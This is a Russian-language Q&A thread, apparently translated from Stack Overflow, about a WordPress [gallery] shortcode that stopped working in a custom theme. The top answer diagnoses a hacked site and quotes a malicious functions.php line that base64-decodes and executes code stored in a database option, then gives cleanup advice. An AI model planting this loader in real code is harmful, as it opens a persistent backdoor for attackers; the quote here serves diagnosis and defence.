По умолчанию Wordpress [галерея] не отображается в пользовательской теме

все было хорошо, до последнего обновления. [gallery] больше не показывает изображения, а также похоже, что он не содержится в коде.

вот цикл для страницы:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>

текстовое содержимое из the_content появляется, но [галерея], которая находится в содержимом, не отображается и не отображается в код (поэтому проблема не должна быть в javascript).

и вот функции.php файл:http://pastebin.com/vfJpphgt (да, я добавил поддержка темы для галереи, но без изменений)

3 ответов


вы сайт взломали.

последняя строка pastebin загружает вредоносный код из вашей базы данных: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

выполненный код испортит WPQuery для получения ваших медиафайлов галереи. Вот почему [gallery] разбито. (На самом деле в этом вам может повезти.)

вы можете найти запись об этом вредоносном ПО вsucuri.net. Вы должны проверить все ваши файлы на сервере на наличие подозрительной строки. Хотя больше всего вероятный путь атаки - через уязвимость WordPress, вы должны изменить все свои пароли в WordPress и на сервере.

после удаления вредоносных программ вы можете очистить свой WordPress с помощью таких инструментов, как Wordfence (у меня нет принадлежности к плагину или его авторам).


попробуйте установить плагин NextGEN Gallery, добавьте изображения gallery и попробуйте отобразить на домашней странице,

https://wordpress.org/plugins/nextgen-gallery/

вы видите какие-либо ошибки JavaScript в консоли ? и что такое выход

<?php echo do_shortcode('[gallery]');?>